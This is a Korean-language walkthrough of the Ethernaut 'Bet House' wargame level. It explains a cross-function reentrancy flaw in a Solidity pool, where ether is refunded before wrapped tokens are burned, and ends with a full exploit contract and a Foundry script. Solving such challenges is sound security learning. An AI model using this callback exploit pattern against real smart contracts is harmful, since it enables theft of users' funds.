Ethernaut 34 Bet House

문제#

지문#

screenshot Welcome to the Bet House. You start with 5 Pool Deposit Tokens (PDT). Could you master the art of strategic gambling and become a bettor?

코드#

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
import {ERC20} from "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
5
import {Ownable} from "openzeppelin-contracts-08/access/Ownable.sol";
6
import {ReentrancyGuard} from "openzeppelin-contracts-08/security/ReentrancyGuard.sol";
7

8
contract BetHouse {
9
    address public pool;
10
    uint256 private constant BET_PRICE = 20;
11
    mapping(address => bool) private bettors;
12

13
    error InsufficientFunds();
14
    error FundsNotLocked();
15

16
    constructor(address pool_) {
17
        pool = pool_;
18
    }
19

20
    function makeBet(address bettor_) external {
21
        if (Pool(pool).balanceOf(msg.sender) < BET_PRICE) {
22
            revert InsufficientFunds();
23
        }
24
        if (!Pool(pool).depositsLocked(msg.sender)) revert FundsNotLocked();
25
        bettors[bettor_] = true;
26
    }
27

28
    function isBettor(address bettor_) external view returns (bool) {
29
        return bettors[bettor_];
30
    }
31
}
32

33
contract Pool is ReentrancyGuard {
34
    address public wrappedToken;
35
    address public depositToken;
36

37
    mapping(address => uint256) private depositedEther;
38
    mapping(address => uint256) private depositedPDT;
39
    mapping(address => bool) private depositsLockedMap;
40
    bool private alreadyDeposited;
41

42
    error DepositsAreLocked();
43
    error InvalidDeposit();
44
    error AlreadyDeposited();
45
    error InsufficientAllowance();
46

47
    constructor(address wrappedToken_, address depositToken_) {
48
        wrappedToken = wrappedToken_;
49
        depositToken = depositToken_;
50
    }
51

52
    /**
53
     * @dev Provide 10 wrapped tokens for 0.001 ether deposited and
54
     *      1 wrapped token for 1 pool deposit token (PDT) deposited.
55
     *  The ether can only be deposited once per account.
56
     */
57
    function deposit(uint256 value_) external payable {
58
        // check if deposits are locked
59
        if (depositsLockedMap[msg.sender]) revert DepositsAreLocked();
60

61
        uint256 _valueToMint;
62
        // check to deposit ether
63
        if (msg.value == 0.001 ether) {
64
            if (alreadyDeposited) revert AlreadyDeposited();
65
            depositedEther[msg.sender] += msg.value;
66
            alreadyDeposited = true;
67
            _valueToMint += 10;
68
        }
69
        // check to deposit PDT
70
        if (value_ > 0) {
71
            if (PoolToken(depositToken).allowance(msg.sender, address(this)) < value_) revert InsufficientAllowance();
72
            depositedPDT[msg.sender] += value_;
73
            PoolToken(depositToken).transferFrom(msg.sender, address(this), value_);
74
            _valueToMint += value_;
75
        }
76
        if (_valueToMint == 0) revert InvalidDeposit();
77
        PoolToken(wrappedToken).mint(msg.sender, _valueToMint);
78
    }
79

80
    function withdrawAll() external nonReentrant {
81
        // send the PDT to the user
82
        uint256 _depositedValue = depositedPDT[msg.sender];
83
        if (_depositedValue > 0) {
84
            depositedPDT[msg.sender] = 0;
85
            PoolToken(depositToken).transfer(msg.sender, _depositedValue);
86
        }
87

88
        // send the ether to the user
89
        _depositedValue = depositedEther[msg.sender];
90
        if (_depositedValue > 0) {
91
            depositedEther[msg.sender] = 0;
92
            payable(msg.sender).call{value: _depositedValue}("");
93
        }
94

95
        PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender));
96
    }
97

98
    function lockDeposits() external {
99
        depositsLockedMap[msg.sender] = true;
100
    }
101

102
    function depositsLocked(address account_) external view returns (bool) {
103
        return depositsLockedMap[account_];
104
    }
105

106
    function balanceOf(address account_) public view returns (uint256) {
107
        return PoolToken(wrappedToken).balanceOf(account_);
108
    }
109
}
110

111
contract PoolToken is ERC20, Ownable {
112
    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) Ownable() {}
113

114
    function mint(address account, uint256 amount) external onlyOwner {
115
        _mint(account, amount);
116
    }
117

118
    function burn(address account, uint256 amount) external onlyOwner {
119
        _burn(account, amount);
120
    }
121
}

배경지식#

이 문제에는 두 종류의 토큰이 나온다. depositToken은 처음 플레이어가 들고 있는 Pool Deposit Token, 즉 PDT이고, wrappedToken은 Pool에 예치했을 때 새로 민팅되는 내부 잔고 토큰이다. deposit()의 교환 규칙은 단순하다. 0.001 ether를 넣으면 wrappedToken 10개를 받고, PDT 1개를 넣으면 wrappedToken 1개를 받는다. 플레이어는 처음에 PDT 5개만 있으므로 정상적으로는 PDT 5개와 ETH 예치를 합쳐도 wrappedToken은 $10+5=15$ 개뿐이다.

withdrawAll()은 nonReentrant가 붙어 있지만, 함수 내부에서 이더를 돌려줄 때 call을 사용한다. 수신자가 컨트랙트라면 이 시점에 receive()가 실행된다. 이더를 보내는 call은 wrappedToken을 burn하기 전에 실행된다. 즉 콜백이 실행되는 동안에는 아직 기존 wrappedToken 잔고가 남아 있다. nonReentrant는 같은 withdrawAll()로 다시 들어오는 reentrancy attack만 막고, deposit(), lockDeposits(), makeBet() 호출까지 막지는 않는다.

문제 코드 분석#

먼저 베팅 조건을 보자.

1
function makeBet(address bettor_) external {
2
    if (Pool(pool).balanceOf(msg.sender) < BET_PRICE) {
3
        revert InsufficientFunds();
4
    }
5
    if (!Pool(pool).depositsLocked(msg.sender)) revert FundsNotLocked();
6
    bettors[bettor_] = true;
7
}

makeBet()은 bettor_를 등록하지만, 조건 검사는 bettor_가 아니라 msg.sender 기준으로 한다. 플레이어가 직접 조건을 만족할 필요는 없다. 공격 컨트랙트가 msg.sender로서 wrappedToken 20개 이상과 depositsLocked == true를 만족하면, bettor_에는 플레이어 주소를 넣어 플레이어를 bettor로 등록할 수 있다.

이제 deposit()의 교환 비율을 보자.

1
if (msg.value == 0.001 ether) {
2
    if (alreadyDeposited) revert AlreadyDeposited();
3
    depositedEther[msg.sender] += msg.value;
4
    alreadyDeposited = true;
5
    _valueToMint += 10;
6
}
7
if (value_ > 0) {
8
    if (PoolToken(depositToken).allowance(msg.sender, address(this)) < value_) revert InsufficientAllowance();
9
    depositedPDT[msg.sender] += value_;
10
    PoolToken(depositToken).transferFrom(msg.sender, address(this), value_);
11
    _valueToMint += value_;
12
}

한 번의 deposit()에서 ETH와 PDT를 동시에 예치할 수 있다. 공격 컨트랙트가 0.001 ether와 PDT 5개를 넣으면 wrappedToken 15개를 받는다. 하지만 목표는 20개다. 처음 가진 PDT가 5개뿐이므로 일반적인 흐름에서는 추가 5개를 만들 방법이 없어 보인다. 여기서 withdrawAll()의 순서가 필요하다.

마지막으로 withdrawAll()의 순서를 보자.

1
function withdrawAll() external nonReentrant {
2
    uint256 _depositedValue = depositedPDT[msg.sender];
3
    if (_depositedValue > 0) {
4
        depositedPDT[msg.sender] = 0;
5
        PoolToken(depositToken).transfer(msg.sender, _depositedValue);
6
    }
7

8
    _depositedValue = depositedEther[msg.sender];
9
    if (_depositedValue > 0) {
10
        depositedEther[msg.sender] = 0;
11
        payable(msg.sender).call{value: _depositedValue}("");
12
    }
13

14
    PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender));
15
}

withdrawAll()은 먼저 PDT를 돌려준다. 그 다음 ETH를 call로 돌려주고, 마지막에 wrappedToken을 burn한다. 공격 컨트랙트의 receive()가 실행되는 순간에는 이미 PDT 5개를 다시 받은 상태이고, 기존 wrappedToken 15개는 아직 burn되지 않았다. 이때 반환받은 PDT 5개를 다시 deposit(5)하면 wrappedToken이 5개 더 민팅되어 총 20개가 된다. 이후 같은 콜백 안에서 lockDeposits()를 호출하면 공격 컨트랙트는 베팅 조건을 만족한다. 마지막으로 makeBet(player)를 호출하면 조건 검사는 공격 컨트랙트 기준으로 통과하고, 등록 대상은 플레이어가 된다.

풀이#

공격 컨트랙트에 플레이어의 PDT 5개를 보내고, 0.001 ether와 함께 deposit(5)를 호출한다. 이 시점에서 공격 컨트랙트는 wrappedToken 15개를 가진다. 곧바로 withdrawAll()을 호출하면 Pool은 PDT 5개를 먼저 돌려주고, ETH 환불 과정에서 공격 컨트랙트의 receive()를 실행한다. 아직 burn이 일어나기 전이므로 receive() 안에서 PDT 5개를 다시 예치하면 잔고가 20개가 된다. 그 상태로 예치를 잠그고 makeBet(player)를 호출하면 된다.

익스플로잇#

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.28;
3

4
import "forge-std/Script.sol";
5

6
interface IBetHouse {
7
    function pool() external view returns (address);
8
    function makeBet(address bettor_) external;
9
    function isBettor(address bettor_) external view returns (bool);
10
}
11

12
interface IPool {
13
    function deposit(uint256 value_) external payable;
14
    function withdrawAll() external;
15
    function lockDeposits() external;
16
    function depositToken() external view returns (address);
17
}
18

19
interface IERC20Like {
20
    function balanceOf(address account) external view returns (uint256);
21
    function approve(address spender, uint256 amount) external returns (bool);
22
    function transfer(address to, uint256 amount) external returns (bool);
23
}
24

25
contract BetHouseExploit {
26
    uint256 private constant PDT_AMOUNT = 5;
27

28
    IBetHouse private immutable betHouse;
29
    IPool private immutable pool;
30
    IERC20Like private immutable depositToken;
31
    address private immutable player;
32

33
    constructor(address betHouse_, address player_) {
34
        betHouse = IBetHouse(betHouse_);
35
        pool = IPool(betHouse.pool());
36
        depositToken = IERC20Like(pool.depositToken());
37
        player = player_;
38
    }
39

40
    function attack() external payable {
41
        require(msg.value == 0.001 ether, "send 0.001 ether");
42
        require(depositToken.balanceOf(address(this)) >= PDT_AMOUNT, "missing PDT");
43

44
        depositToken.approve(address(pool), PDT_AMOUNT);
45
        pool.deposit{value: msg.value}(PDT_AMOUNT);
46
        pool.withdrawAll();
47
    }
48

49
    receive() external payable {
50
        require(msg.sender == address(pool), "only pool");
51

52
        depositToken.approve(address(pool), PDT_AMOUNT);
53
        pool.deposit(PDT_AMOUNT);
54
        pool.lockDeposits();
55
        betHouse.makeBet(player);
56

57
        (bool ok,) = player.call{value: address(this).balance}("");
58
        require(ok, "refund failed");
59
    }
60
}
61

62
contract Sol34 is Script {
63
    uint256 private constant PDT_AMOUNT = 5;
64

65
    function run() external {
66
        uint256 privateKey = vm.envUint("PRIVATE_KEY");
67
        address player = vm.addr(privateKey);
68
        IBetHouse betHouse = IBetHouse(vm.envAddress("BET_HOUSE_INSTANCE"));
69
        IPool pool = IPool(betHouse.pool());
70
        IERC20Like depositToken = IERC20Like(pool.depositToken());
71

72
        vm.startBroadcast(privateKey);
73

74
        BetHouseExploit exploit = new BetHouseExploit(address(betHouse), player);
75
        require(depositToken.transfer(address(exploit), PDT_AMOUNT), "PDT transfer failed");
76
        exploit.attack{value: 0.001 ether}();
77
        require(betHouse.isBettor(player), "bet failed");
78

79
        vm.stopBroadcast();
80
    }
81
}

screenshot